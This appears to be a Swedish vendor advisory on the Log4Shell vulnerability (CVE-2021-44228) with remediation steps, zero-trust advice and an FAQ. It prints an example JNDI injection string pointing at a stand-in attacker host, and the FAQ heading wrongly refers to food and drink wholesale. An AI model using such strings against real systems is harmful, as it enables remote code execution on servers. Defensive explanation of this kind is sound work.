Minska riskerna med sårbarheten för fjärrkodkörning i Apache Log4j

CVE-2021-44228, sårbarheten Apache Log4j Remote Code Execution (RCE), som avslöjades i december 2021, blev omedelbart en av de mest utnyttjade sårbarheterna i internets historia. Apache Log4j är ett Java-loggbibliotek som används på uppskattningsvis hundratals miljoner servrar, företagsapplikationer, molntjänster, webbapplikationer, e-posttjänster och inbäddade enheter. Distributionsskalan gjorde attackytan nästan universell: alla applikationer som loggade användarstyrd inmatning med Log4j 2.x-versioner före 2.15.0 var potentiellt sårbara. Exploateringsförsök började inom några timmar efter offentliggörandet. Den rekommenderade åtgärden för alla organisationer som ännu inte helt har åtgärdat denna sårbarhet: uppgradera alla Log4j 2.x-instanser till 2.17.0 eller senare, sök efter transitiva beroenden som bäddar in Log4j i tredjepartsbibliotek och implementera Zero Trust Architecture-principerna som minskar explosionsradien för denna klass av sårbarhet oavsett om den omedelbara CVE:n är patchad. För det bredare incidentresponsramverket för hantering av säkerhetssårbarheter, se Bygg en säker incidentresponsplan för din organisation.

Snabbt svar: Vad är Log4j-sårbarheten och varför är den viktig?

CVE-2021-44228, vanligtvis kallad Log4Shell, är en kritisk sårbarhet för fjärrkodexekvering i Apache Log4j 2.x som fick en CVSS-poäng på 10.0: den högsta möjliga betygsättningen. Den tillåter en oautentiserad fjärrangripare att exekvera godtycklig kod på en sårbar server genom att få Log4j att logga en specialskriven sträng som innehåller en JNDI-söknings-URL (Java Naming and Directory Interface). Angriparen kontrollerar var JNDI-sökningen löses upp och dirigerar den sårbara servern att ladda ner och exekvera en skadlig Java-klassfil från en angriparkontrollerad server. Eftersom Log4j är inbäddad i ett enormt antal applikationer, både direkt och som ett transitivt beroende i tredjepartsbibliotek, var den sårbara populationen i praktiken alla Java-baserade applikationer som använde Log4j 2.x till 2.14.1.

Vad är Log4j?

Apache Log4j är ett loggbibliotek med öppen källkod som används flitigt i nästan alla miljöer där en Java-applikation används. Detta inkluderar företagsapplikationer, molntjänster, webbapplikationer, e-posttjänster och programvara med öppen källkod. Biblioteket används för att logga säkerhets- och prestandainformation och registrera händelser som inträffar under applikationskörning för felsökning, granskning och driftsövervakning. Eftersom loggning är en grundläggande funktion i nästan alla applikationer, blev Log4j inbäddad inte bara i applikationer som direkt deklarerade det som ett beroende, utan i otaliga andra bibliotek och kommersiella produkter som dessa applikationer inkluderade. Denna lagerbaserade inbäddning var det som gjorde CVE-2021-44228 så svår att helt åtgärda: organisationer kunde inte förlita sig på att hitta Log4j bara i sin egen kod; de var tvungna att identifiera det i varje bibliotek som deras applikationer var beroende av.

Vad är problemet? JNDI-utnyttjandemekanismen

Sårbarheten utnyttjar JNDI-sökningar (Java Naming and Directory Interface) som är aktiverade i standardkonfigurationen för Log4j 2.x. JNDI är ett Java API som klienter använder för att söka efter data och objekt som lagras i olika katalog- och namngivningstjänster, såsom Lightweight Directory Access Protocol (LDAP), Domain Name System (DNS) och Remote Method Invocation (RMI). API:et använder en sträng som indataparameter, och denna indataparameter kan utnyttjas av en fjärrangripare för att köra godtycklig kod. Log4j sanerar inte indataparametrar, vilket gör att en angripare kan tillhandahålla en sträng som används för att läsa in och anropa en fjärransluten Java-klassfil. En angripare med möjlighet att kontrollera loggmeddelanden kan köra fjärrkod som laddas från LDAP-servrar när meddelandesökningsersättning är aktiverat och få full kontroll över den drabbade servern. En angripare kan utnyttja denna sårbarhet genom att följa dessa steg:

• En angripare skapar en specialskriven sträng som innehåller den skadliga nyttolasten och skickar den till ett sårbart system. Denna sträng kan infogas i vilket fält som helst som systemet loggar, till exempel:
  • Användaragent
  • Användarnamn
  • Enhetsnamn eller e-postadress
• Strängen pekar på en angriparstyrd LDAP- eller DNS-server, till exempel:

  ${jndi:ldap://evil-hack.com/a}.

  Denna sträng skickas sedan till Log4j för loggning.

• Det sårbara systemet använder JNDI för att fråga den angriparstyrda LDAP- eller DNS-servern.
• Den angriparkontrollerade LDAP- eller DNS-servern svarar med en fjärransluten Java-klassfil (exploit.class).
• Java-klassen laddas ner och körs på det sårbara systemet, vilket ger angriparen exekvering av godtycklig kod.

Problemets svårighetsgrad

CVE-2021-44228 hade en mycket bred inverkan på grund av sårbarhetens natur och den nästan universella spridningen av Log4j. Sårbarheten utnyttjades inom några timmar efter offentliggörandet, och antalet utnyttjandeförsök ökade snabbt. För att utnyttja sårbarheten behöver en angripare bara få målsystemet att logga ett specialskrivet meddelande: utnyttjandet kan utlösas via vilket inmatningsfält som helst som når en Log4j-loggare, inklusive HTTP-rubriker, formulärfält, användarnamn och sökfrågor. Angripare utnyttjade denna sårbarhet i stor utsträckning för kryptovalutautvinning och för att distribuera andra typer av skadlig kod och ransomware. Nationella hotaktörer började utnyttja sårbarheten kort efter avslöjandet, och antalet utnyttjandeförsök förblev högt i veckor.

Säkerhetsexperter varnade för att sårbarheten på grund av Javas paketeringsmodell kunde ligga flera lager djupt inne i applikationer och inte lätt upptäckas av ytliga skannrar. En produkt kan vara sårbar eftersom ett bibliotek den är beroende av är beroende av ett annat bibliotek som innehåller Log4j, utan någon direkt Log4j-referens synlig i produktens eget beroendemanifest. Sårbarheten kunde utnyttjas på både Windows- och Linux-system och påverkade både moln- och lokala distributioner.

Hur man minskar risken: Checklista för prioriterad åtgärd

En organisation kan följa dessa rekommendationer för att åtgärda denna sårbarhet, sorterade efter prioritet:

• Distribuera skanningsverktyg och skript för att identifiera alla applikationer och system som använder sårbara Log4j-versioner, inklusive transitiva beroenden inbäddade i tredjepartsbibliotek; förlita dig inte enbart på manifestationer av förstapartsberoenden.
• Uppgradera alla Log4j 2.x-instanser till version 2.17.0 eller senare (för Java 8-miljöer) eller den senaste versionen som är kompatibel med din Java-version; observera att 2.15.0 hade en ofullständig korrigering och ersattes.
• Som en omedelbar lösning där patchning ännu inte är möjligt, ta bort JndiLookup-klassen från klassvägen med kommandot: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
• Installera säkerhetsuppdateringar för alla offentliga applikationer och system omedelbart; installera uppdateringar för interna applikationer och system så snabbt som möjligt, och prioritera de med extern nätverksexponering.
• Kontrollera nätverksperimeterloggar för tecken på kompromettering, inklusive utgående LDAP- eller DNS-förfrågningar till oväntade externa värdar som kommer från applikationsservrar.
• Om du använder en webbapplikationsbrandvägg (WAF), distribuera eller aktivera regler som upptäcker och blockerar Log4j-exploit-strängar i HTTP-rubriker, begärandetexter och URL-parametrar.
• Isolera sårbara system genom nätverkssegmentering för att förhindra lateral förflyttning om utnyttjande sker innan patchen är klar
• Övervaka misstänkta aktiviteter med särskild uppmärksamhet på program som upprättar oväntade fjärranslutningar, särskilt LDAP- eller RMI-anslutningar till externa värdar.
• Granska leverantörsrekommendationer för all tredjepartsprogramvara och apparater i din miljö; många kommersiella produkter bäddade in Log4j och krävde leverantörslevererade patchar snarare än direkta patchar.
• Implementera principer för nollförtroendearkitektur som ett långsiktigt försvar mot denna typ av sårbarhet

Nollförtroendearkitektur: Det långsiktiga försvaret

En viktig del i alla attacker med skadlig kod, inklusive Log4j-exploatering, är att angriparen använder organisationens egna applikationer och system mot organisationen. Organisationer bör överväga att implementera en Zero Trust-arkitektur för att minska explosionsradien för denna typ av sårbarhet. Zero Trust är en metod som säkrar en organisation genom att avvisa implicit förtroende och kontinuerligt validera varje begäran. Den bygger på principen att aldrig lita på, alltid verifiera: varje åtkomstbegäran autentiseras, auktoriseras och krypteras först innan åtkomst till resursen ges. Zero Trust-arkitekturen bygger på tre huvudprinciper:

1. Verifiera uttryckligen:

   Autentisera och auktorisera alltid förfrågningar baserat på användaridentitet, enhet, plats, tjänst, arbetsbelastning och andra parametrar. I samband med Log4j innebär detta att även om en angripare uppnår kodkörning på ett system, kan de inte automatiskt komma åt angränsande system utan att också uppfylla autentiseringskraven för dessa system.

2. Använd lägsta privilegium:

   Begränsa åtkomsten till endast de resurser som krävs för varje systems eller användares specifika funktion. Använd riskbaserade policyer och dataskydd för att säkra data och system. En Log4j-komprometterad applikation som bara har den åtkomst som krävs för dess funktion kan inte användas för att växla till värdefulla databaser eller autentiseringsuppgifter som ligger utanför dess obligatoriska åtkomstområde.

3. Anta intrång och inspektera all aktivitet:

   Använd analyser för att bibehålla insyn i nätverks-, system- och applikationsaktivitet, och använd avvikelsedetektering för att identifiera laterala rörelser och kommunikationsmönster för kommando- och kontrollfunktioner som är typiska för aktivitet efter exploatering. Anta att alla system kan vara komprometterade och övervaka därefter.

Identitet har blivit den nya nätverksperimetern, och verifiering av dessa identiteter är centralt för Zero Trust-arkitekturen. Istället för identifiering baserad på IP-adress baseras identitet på att verifiera användare och system med hjälp av identitets- och åtkomsthantering (IAM), multifaktorautentisering (MFA) och offentlig nyckelinfrastruktur (PKI). Organisationer kan använda PKI för att utfärda digitala certifikat till användare, maskiner, webbapplikationer och mobila enheter för att tillhandahålla säker, verifierad nätverksautentisering. Data måste skyddas i vila och under överföring, vilket gör kryptering till en viktig del av implementeringen av Zero Trust. PKI gör det möjligt för en organisation att upprätta maskinidentitet och kryptera kommunikation mellan system. För mer information om PKI-tjänster, se PKI-as-a-Service.

Uppdateringslogg

Datum	Uppdatering
December 9, 2021	CVE-2021-44228 offentliggjort; Apache Log4j 2.15.0 släppt med initial korrigering som inaktiverar JNDI-sökningar som standard
December 13, 2021	CVE-2021-45046 tilldelad ofullständig korrigering i 2.15.0 under vissa konfigurationer; Apache Log4j 2.16.0 släpptes och inaktiverade JNDI helt som standard.
December 18, 2021	CVE-2021-45105 (denial of service) tilldelad; Apache Log4j 2.17.0 släppt
December 28, 2021	CVE-2021-44832 (RCE om angriparen kontrollerar Log4j-konfigurationen) tilldelad; Apache Log4j 2.17.1 släppt
januari 2022	Utnyttjandeförsök fortsatte i hög volym; flera aktörsgrupper från olika stater bekräftade att sårbarheten utnyttjades
September 2026 (denna uppdatering)	Innehållet uppdateras med ytterligare tekniska detaljer, vägledning för detektering, checklista för prioriterad åtgärd, uppdateringslogg och FAQ-avsnitt för kontinuerlig referens.

Slutsats

Organisationer behöver stärka säkerheten för sina system och applikationer mot sårbarheter som CVE-2021-44228, och det mest hållbara försvaret är Zero Trust-arkitektur: den avvisar implicit förtroende och validerar kontinuerligt varje begäran. Att uppdatera Log4j är nödvändigt och brådskande för system som fortfarande kör sårbara versioner. Men den bredare lärdomen från Log4Shell är att brett distribuerade, djupt inbäddade komponenter kan skapa nästan universella attackytor med minimal förvarning, och organisationer som enbart förlitar sig på perimeterförsvar kommer alltid att exponeras för hela explosionsradien när en sårbarhet i en grundläggande komponent utnyttjas. Att implementera PKI-baserad maskinidentitetsverifiering och upprätthålla åtkomst med lägsta behörighet i hela din miljö säkerställer att utnyttjande av ett system inte automatiskt leder till fullständig nätverkskompromiss. Encryption Consulting tillhandahåller PKI-implementerings- och hanteringstjänster till organisationer som bygger Zero Trust-grunder. För att se hur vi kan hjälpa din organisation, besök www.encryptionconsulting.com.

Vanliga frågor om partihandel med mat och dryck

Vad är CVE-2021-44228 (Log4Shell) och varför var det så allvarligt?

CVE-2021-44228 (Log4Shell) är en kritisk sårbarhet för fjärrkodexekvering i Apache Log4j 2.x som fick en CVSS-poäng på 10.0: den högsta möjliga betygsättningen. Den tillåter en oautentiserad fjärrangripare att exekvera godtycklig kod på den sårbara servern genom att få Log4j att logga en specialskriven JNDI-sökningssträng. Allvarlighetsgraden återspeglar den nästan universella distributionen av Log4j, hur enkelt det är att utnyttja det (alla loggade användarkontrollerade fält kan utlösa det) och fullständigheten av angriparkontrollen efter lyckad utnyttjande.

Vilka versioner av Apache Log4j påverkas av CVE-2021-44228?

CVE-2021-44228 påverkar Log4j 2.x-versioner från 2.0-beta9 till 2.14.1. Version 2.15.0 tillhandahöll en initial korrigering men visade sig ha en ofullständig korrigering under vissa konfigurationer (CVE-2021-45046). Version 2.16.0 inaktiverade JNDI helt som standard. Organisationer bör uppgradera till 2.17.0 eller senare för Java 8-miljöer. Log4j 1.x påverkas inte av CVE-2021-44228 men har separata opatchade sårbarheter och status som uttjänt.

Hur kan en organisation avgöra om de använder sårbara Log4j-versioner?

Organisationer bör använda flera metoder: skanna SBOM:er och beroendemanifest för direkta Log4j-referenser; använda verktyg för programvarukompositionsanalys (SCA) för transitiva beroenden; söka i filsystem efter Log4j JAR-filer efter namn och version; använda nätverksbaserad detektering som skickar test-JNDI-strängar och övervakar utgående LDAP- eller DNS-frågor; och granska leverantörsinformation för all tredjepartsprogramvara i miljön.

Varför minskar Zero Trust-arkitekturen effekten av sårbarheter i Log4j-klassen?

Noll förtroende tar bort det implicita förtroendet som gör att en lyckad exploatering kan bli en fullständig nätverkskompromiss. Verify Explicit kräver autentisering för varje begäran mellan system så att en komprometterad applikation inte automatiskt kan komma åt angränsande resurser. Use Least Privilege begränsar explosionsradien till endast den åtkomst som det komprometterade systemet hade. Anta att Breach upprätthåller övervakning som upptäcker lateral rörelse och C2-kommunikationsmönster som är typiska för aktivitet efter exploatering.

Vad är förhållandet mellan PKI, digitala certifikat och Log4j-begränsning?

PKI och digitala certifikat är relevanta för Log4j-begränsning i samband med Zero Trust-arkitektur. Zero Trust kräver att varje åtkomstförfrågan autentiseras, och PKI tillhandahåller den kryptografiska mekanismen: certifikat som utfärdas till användare, maskiner och applikationer fastställer identitet och möjliggör krypterad, autentiserad kommunikation mellan system. En miljö där varje anslutning mellan tjänster kräver ett giltigt certifikat förhindrar att ett Log4j-komprometterat system utnyttjar sin kodkörning för att komma åt andra interna system utan att också inneha giltiga certifikat för dessa system.